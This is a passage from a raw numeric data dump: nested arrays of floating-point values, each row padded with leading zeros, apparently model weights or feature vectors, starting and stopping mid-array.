0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.00885, -0.6553, -0.784, -0.864, -1.714, -0.521, -0.8677, 0.4517, 0.2339, -0.0651, -6.16, -1.159, -2.623, 0.4072, -0.1313, 0.4414, -0.4968, 0.1906, -0.0919, 0.6274, -0.04922, 1.047, 1.598, 0.433, -1.037, -2.527, 0.172, -0.3965, -0.991, -0.011986, -1.0625, -0.8696, 0.922, 0.579, -0.6074, 0.0726, 0.269, 0.633, -0.0163, -0.08923, 0.5244, 0.862, -0.528, 0.3147, 0.59, -2.703, -0.992, 0.2864, -0.479, 0.39], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.4495, -0.1661, 1.061, 1.022, 0.5996, 0.1707, 0.0601, 0.8013, 0.11255, -0.002071, 1.6875, 2.895, 0.491, 0.5312, 0.03983, -0.1606, -0.04, 0.3618, 1.092, 0.5103, 0.1068, 0.02911, -0.05768, 1.113, 0.2961, -0.4153, 1.674, -0.351, -0.01988, 0.0211, -0.4004, 0.551, 0.655, 0.8276, 1.143, 0.3596, -0.06946, 0.668, 1.09, -0.3733, -0.10986, 0.6025, -0.2722, 0.1848, -0.71, -0.4573, 0.4695, -0.0854, -0.4924, 0.4558], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.0572, 0.3547, 0.1896, 0.282, 0.4502, -0.4019, -0.1564, -0.0222, -0.185, -0.2922, -0.419, -0.918, 0.918, 0.2428, 0.4312, -0.1329, -0.2947, 0.1338, -0.4094, -0.1111, -1.64e-05, -0.0774, 0.1493, -0.2303, -0.0969, 0.2266, -0.3103, -0.006535, 0.5757, -0.0777, 0.01631, -0.1381, -0.299, 0.545, -0.217, 0.15, -0.02621, -0.1475, 0.2478, 0.2047, -0.05212, -0.5376, -0.00611, 0.1844, 0.03543, -0.3972, 0.2046, -0.1334, 0.3782, -0.1893], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.2429, 0.4443, 1.71, -1.064, -0.5786, 0.7446, -0.5605, 0.518, 0.2744, -0.7856, -2.08, -3.133, -0.888, 0.03088, 0.9854, 0.001236, -0.3455, -0.624, -0.959, -0.5703, 0.1924, 0.0979, 0.3281, -0.627, -0.3984, -0.0354, 0.4688, 0.563, 2.062, 0.127, -0.2588, 0.5015, -0.451, -0.9116, -0.5874, -0.01627, 0.146, 0.5415, -0.706, 0.5923, -2.137, 0.2803, 0.05807, -1.147, 0.06274, 0.9097, -0.2446, 0.3384, -0.3977, 0.5303], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.1523, -0.1265, 0.029, -0.0933, -0.10077, 0.0407, 0.11694, 0.1708, 0.05548, -0.6216, -0.1545, 0.2817, -0.398, 0.329, -0.354, -0.1464, -0.504, 0.285, -0.07214, 0.02365, -0.04633, 0.0653, -0.2318, -0.001187, -0.04935, -0.03873, -0.1224, -0.0947, -0.2499, -0.02148, -0.3762, -1.036, 0.2725, 0.3486, 0.04526, 0.1484, -0.2417, 0.2269, 0.593, -0.04715, -0.2286, 0.263, -0.1115, -0.0723, -0.2401, -0.07117, -0.582, -0.0632, 0.3518, 0.0594], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1012, 0.716, -0.2996, -0.04395, -1.253, -0.09, 0.2458, -0.2156, -0.508, 0.06836, -0.538, -0.04813, -0.0819, 0.72, 0.01584, 0.2113, -0.5254, -0.2186, -0.422, -0.2947, 0.1246, -0.005894, -1.078, 0.00835, -0.3474, 0.5923, -0.482, -0.02255, -0.0736, 0.1394, -0.7236, 0.04306, 0.4014, -0.06015, 0.725, -0.3477, 0.1833, 0.8247, -0.739, -0.2177, -0.3518, 0.09314, -0.2612, -0.5312, 0.1163, 0.667, 1.4375, -0.729, -0.12335, 0.3628], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1672, -0.1593, 0.1362, 0.9077, 0.427, -0.01886, 0.1797, -0.4082, -0.5034, 0.32, -0.5728, -0.348, 0.172, -0.08636, -0.977, 0.47, 1.103, 0.09595, -0.1027, -0.6035, -0.1803, 0.4534, 0.554, 0.0034, -0.481, 0.5044, 0.3647, -0.1323, 0.00098, 0.1504, 0.8086, 1.071, -0.4302, -0.441, 0.5986, 0.593, -0.08136, -0.3145, -0.3545, 0.3723, 0.5215, 0.1378, 0.3374, 0.1882, -0.3127, -0.5913, 0.694, 1.152, 0.11554, -0.3235], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.01431, -0.04697, 0.4868, -0.655, 0.3987, -0.605, 0.1099, -0.09924, -0.4377, 0.574, 0.2393, -0.51, -1.585, -0.0752, 0.208, -0.2793, -0.6504, -0.1263, 0.04633, 0.04843, 0.0369, -0.1528, -0.0695, -0.04703, -0.11816, 0.01926, 0.4465, 0.0939, 0.1395, 0.1423, 0.259, -0.677, 0.4382, 0.03683, -0.2157, 0.1207, -0.2161, -0.2098, -1.776, 0.4192, -0.02988, -0.911, 0.2473, -0.0859, -0.902, -0.108, -0.02997, -1.105, 0.2507, 0.1718], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.2068, -1.2, 0.526, 0.573, 0.647, -0.3713, -0.0611, -0.00918, 0.2527, 0.6226, 1.723, 0.2452, -0.009514, 0.2223, 0.06744, 0.699, 0.10406, -0.0364, 1.708, 0.1924, 0.3184, 0.1769, 0.00117, 0.6367, 0.5273, -0.2008, 0.0342, 0.159, -0.2042, 0.11035, -0.2288, -0.6914, 0.5586, 1.526, 0.3362, -0.208, -0.5747, 0.73, 0.962, -0.2223, 0.77, 0.7383, -0.6953, 0.3923, -1.3955, -0.789, 0.4727, 0.6504, -0.3857, 0.6333], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.006176, 0.238, 0.1545, -0.12195, 1.98, -0.717, 1.408, -1.673, 0.06793, -1.039, -0.515, -1.26, 0.4163, 0.344, -0.4092, -0.4043, 1.929, 0.9194, 0.5723, -1.035, -0.782, -0.12317, -0.6206, -1.246, 1.238, -0.649, -1.03, 0.5225, 0.8037, 0.1754, 0.0693, 0.3792, -0.447, 0.7207, 0.519, 0.2537, -0.4155, 0.2179, -0.01204, 0.738, -0.84, -0.507, 0.13, -0.965, -0.1791, -1.001, -0.5537, 0.07886, 1.876, -1.487], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.497, -0.2213, 0.2144, 0.6875, 0.4954, -0.02823, -0.6294, -0.135, 0.2507, -0.2913, 0.745, 0.09784, 0.277, -0.1609, 0.68, 0.67, 1.101, 0.0832, 0.6494, 0.4993, 0.3616, 0.06335, 0.392, 0.2496, -0.1032, -0.278, -0.679, -0.0921, 0.04388, -0.0205, 0.09985, 1.046, -0.12067, -0.3147, 0.5615, 0.391, 0.01724, -0.2695, 0.2615, -0.0918, 0.317, -0.6484, 0.0002347, -0.239, 0.03008, -1.558, 0.483, 0.2142, -0.231, -0.05563], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.03732, -0.0319, 0.03845, 0.01817, -0.049, -0.04324, -0.0439, -0.002163, 0.02669, -0.02753, 0.006504, -0.0525, 0.02762, 0.02614, 0.02815, -0.0353, -0.007812, -0.0173, 0.01695, -0.04044, -0.03537, -0.001288, -0.05286, -0.01947, -0.01108, 0.01569, 0.01854, 0.03162, -0.001546, -0.01005, -0.005566, -0.04956, 0.01993, 0.02676, -0.01537, 0.02592, -0.04083, -0.04294, -0.01463, 0.00477, -0.02124, -0.0376, -0.0504, -0.0449, 0.04892, 0.04855, -0.0381, 0.00899, -0.02863, -0.002121], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1167, 0.3748, -0.399, 0.1056, -0.676, 1.167, -0.1121, 0.3425, -0.1566, -0.234, -0.1095, -0.407, -0.2812, 0.6704, -0.4092, 0.9883, -0.09753, 0.1826, 1.049, 0.4841, 0.0652, -0.3489, 0.3923, -0.5415, -0.2396, 0.3896, -0.10266, 0.2219, 0.2386, 0.0802, -0.1427, 0.4797, 0.2372, -0.4924, 0.0614, 0.4236, 0.2627, -0.1307, -0.1533, -0.133, 0.7544, 0.05963, -0.0927, -0.03937, -0.0487, 0.9634, -0.486, -0.1385, 0.1006, 0.1503], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.6855, -1.061, -1.252, 1.343, -6.545e-05, 0.2764, 1.208, -2.201, -0.623, -0.648, -0.78, -2.967, -1.452, 0.2019, 0.3477, -2.068, -0.2856, 0.5366, -0.713, -1.77, -0.1732, 0.784, -0.5537, 0.001793, 0.8447, -0.774, -0.703, 0.4365, 2.56, -0.03044, 0.532, -0.8354, 0.5054, 0.2883, 1.098, -0.184, -0.529, 0.00699, 0.8496, -0.792, 0.6934, 2.04, -0.958, 0.565, -0.895, -0.461, -0.3, -0.0692, -0.1087, -1.859], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.147, -0.04108, 0.1124, 0.325, -0.615, -0.0446, 0.1555, 0.2325, 0.05698, -0.5015, -1.094, 0.2399, -2.637, 0.425, -0.4749, 0.03293, -0.632, 0.299, -1.959, 0.2117, 0.277, -0.3408, -0.2634, -0.2954, -0.00963, 0.35, 0.63, 0.2349, -0.05765, -0.01269, -0.3484, -0.9624, -0.2059, 0.0871, 0.11926, 0.3591, -0.1381, 0.1458, 0.6133, -0.1062, 0.1787, -0.2463, 0.06323, 0.04236, 0.518, 0.6333, -0.2625, 0.313, 0.2166, -0.0789], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.1735, -0.2766, 0.5757, -0.526, 1.023, -0.7227, -0.608, 0.8076, 0.02116, 0.801, 0.1719, -0.861, 1.5, 0.1926, -0.1394, -6.992, 0.9487, 0.1285, 0.9844, -0.2144, -0.2003, -0.2343, -0.4016, 0.0978, -0.0426, -0.1915, -0.2573, -1.194, -0.793, -0.0477, 0.2666, -1.029, 1.263, 0.342, -0.2883, 0.3137, 0.06165, 0.2075, -1.773, -0.3115, 0.2505, 0.3442, 0.1862, 0.4336, 1.4795, -0.2632, 0.01461, 1.21, -0.876, 0.4814], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.4187, 0.06964, 0.56, -0.2751, 0.861, 0.1642, 0.4043, -0.1133, 0.699, -0.5312, 0.3354, -0.04944, 0.866, -0.3008, 0.3171, 0.784, 0.4355, -0.1873, 1.203, -0.445, 0.2583, 0.6553, -0.613, -0.4324, -0.751, -0.405, -0.684, -0.06165, 0.629, 0.05823, 0.6494, 0.3604, 0.1606, -0.1072, 0.0305, -0.1714, 0.0677, 0.622, 0.2837, 0.788, -1.816, 0.3804, 0.4163, -0.333, 0.03958, -2.807, -0.509, -0.633, -0.494, -0.2944], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.07544, 0.448, -0.218, -0.1871, -0.2383, -0.1372, 0.3513, -0.1661, -0.0925, 0.1664, 0.2069, 0.236, 0.02383, 0.1733, 0.01953, 0.2399, -0.0691, -0.02005, 0.04697, 0.04904, -4.36e-05, -0.1871, -0.10223, -0.0685, -0.3206, -0.2473, 0.0763, 0.05713, 0.04675, 0.1163, 0.0663, -0.724, -0.1327, 0.2219, -0.05264, -0.2644, 0.4995, 0.01076, -0.607, 0.064, 0.1494, 0.0263, -0.0678, -0.183, -0.09937, 0.3125, -0.3254, -0.347, 0.2263, -0.364], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.03693, -0.935, 1.994, 1.473, 0.1033, 0.3533, -1.093, 0.3643, -0.1046, 0.8774, 0.623, -0.8213, 2.207, -0.4832, 0.2917, -0.3562, 0.614, 0.4714, -2.496, -1.172, 0.436, 0.4866, -0.6177, 0.287, -0.041, 0.1268, 0.297, -0.3425, 1.241, -0.00945, 1.437, -1.061, 0.4053, -2.953, -0.182, -0.888, 0.4722, 0.1503, -0.909, 0.2319, 0.0395, 1.282, -0.00918, -0.2394, -1.003, -0.3513, 1.695, 0.6343, 1.168, -0.6226], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.02753, 0.324, 0.006508, -0.0727, -0.1691, -0.2878, -0.2864, -0.02454, 0.03473, 0.0228, -0.08997, 0.12396, -0.2024, 0.10944, -0.2137, 0.4187, -0.553, -0.02039, -0.1353, 0.00911, -0.07153, -0.05362, -0.02545, -0.0877, -0.1305, 0.05283, 0.2383, -0.0723, -0.0396, 0.1242, 0.83, 0.4365, 0.03967, 0.2742, -0.007214, 0.0858, -0.1534, -0.03256, -0.1368, 0.01239, -0.3088, -0.0318, 0.0501, -0.086, 0.08856, -0.1923, -0.3625, -0.1947, 0.4666, -0.0916], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.5845, -0.208, -0.0767, -0.1647, 0.1794, 0.0991, -0.6377, 0.1962, -0.4302, 0.4756, -0.417, -0.05695, -1.782, -0.3467, 0.22, -0.005608, -0.3723, -0.2583, 0.1962, 0.1564, -0.1583, 0.2534, -0.287, -0.4082, 0.04495, -0.04242, -0.4868, -0.1532, -0.1112, 0.0383, 0.2279, -0.585, -0.371, 0.04874, -0.4648, -0.0361, 0.0903, -0.1952, -0.1562, 0.1095, -0.03903, -0.3843, -0.2712, 0.083, -0.5493, -1.07, 0.11804, 0.2015, 0.3975, 0.9155], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.493, -0.4927, 1.095, 0.6675, -0.7173, 0.2405, -0.9834, 0.3428, 0.6284, -0.05743, -0.933, 0.1364, -0.953, 0.1624, 0.4785, -1.063, 0.2496, 1.331, 0.473, -0.2588, -0.0859, -0.0497, 0.2595, -2.035, -0.2842, -0.2279, 1.304, -0.2388, 0.886, -0.0289, 0.658, 1.285, 0.2532, -0.971, -0.4924, -0.2437, -3.922, -0.91, -0.6665, -0.7676, -0.2104, 0.02469, -0.632, -0.2937, 1.122, -0.01096, -0.997, 1.068, 0.5527, -1.423], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0997, -0.1284, -0.3704, -0.3074, 0.8887, -0.07355, 0.6963, -0.6455, -0.0232, -0.235, 0.433, -0.4934, 0.4539, 0.14, 0.9146, -1.066, 0.7554, 0.564, -0.703, 0.1542, 0.10675, -0.1583, -0.7563, 0.0709, -0.1646, 0.719, -0.974, 0.09656, -0.7417, 0.1567, -0.646, -0.341, -0.505, -1.086, 0.4446, 0.8657, 0.2754, -0.3389, -2.791, 0.654, -0.466, -1.286, -0.3267, -1.342, 0.2072, -0.3699, 1.054, 0.11597, -0.2125, 0.4307], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.241, -0.3706, 2.36, -0.298, -0.09607, -0.2563, -2.15, 0.1475, 0.06946, -0.2996, 0.3281, -1.902, 0.03156, 0.311, 0.2147, 0.1375, -0.2065, -0.2477, -1.196, -0.0701, 0.8247, -0.03458, 0.5425, -0.2793, -0.006577, -0.004646, 0.9404, 0.4727, 1.187, 0.0883, -0.3518, -1.542, 0.0885, 0.382, -0.3584, 0.03525, -0.2012, 0.44, -0.11475, 0.2678, -0.6, -0.7344, 0.1298, -1.614, 0.7, -1.043, -1.509, 1.446, 0.0491, -1.214], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.1461, -0.2637, -0.1433, -2.059, 0.733, -0.1137, -1.159, -0.1202, -0.578, -1.805, -4.56, 0.4055, -2.771, -0.6533, -0.819, 1.666, -0.6357, 0.4373, -0.08875, 0.3398, 0.1637, -0.133, -0.307, -0.2361, 0.07336, 0.2612, 0.571, 0.006184, 0.1262, 0.03424, -0.311, 1.504, -1.584, -0.1979, 0.2288, -0.2512, 0.03778, -0.02051, -0.9087, -0.3772, 1.098, 0.1383, 0.28, -0.6665, 0.3735, -0.2568, -0.815, -0.142, -0.4988, -0.1279], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.304, -0.0121, 0.533, 0.646, 1.058, -0.4075, -0.349, 0.7666, -0.577, 0.883, 0.12305, -0.2301, -0.236, -0.1681, 1.862, -0.838, 0.4312, -0.713, 0.5215, 0.0792, -0.1022, 0.1332, -0.05112, -0.003746, 0.03946, -0.5645, -0.2354, -0.45, -0.3916, 0.005417, -1.257, 1.38, -0.1659, -0.3633, 0.03265, 0.3403, -0.6704, 0.867, -0.683, -0.618, 0.2573, 0.4353, 0.646, -3.15, -0.336, 0.9224, 0.968, -0.3682, 0.02391, -0.01753], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1979, 0.463, -0.3223, -0.1602, 0.4036, -0.1998, -0.4263, 0.4548, -0.0966, 0.02039, -0.8496, -0.1505, 0.671, 0.227, -0.5107, -0.883, 0.2301, -0.3533, -0.2032, -0.11847, -0.11066, -0.3582, 0.3984, 0.2969, -0.00762, 0.2876, -0.7163, -0.11365, 0.2625, -0.02205, -0.1421, -0.4175, -0.0853, -0.7563, -0.6187, 0.79, 0.04413, 0.0799, -0.8037, -0.0813, 0.4602, 0.2769, -0.0966, 0.4397, 0.1478, 0.6084, -0.801, 0.05887, 0.2, 0.207], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.004574, -0.4126, -0.3337, 3.047, -0.3916, -0.4995, -2.775, -0.3267, -0.1364, 0.6094, -3.61, 1.113, -1.822, 0.04364, -2.465, -0.03445, 0.7285, -0.2556, -2.22, 0.1124, -0.5, 0.4155, -0.304, 0.03644, 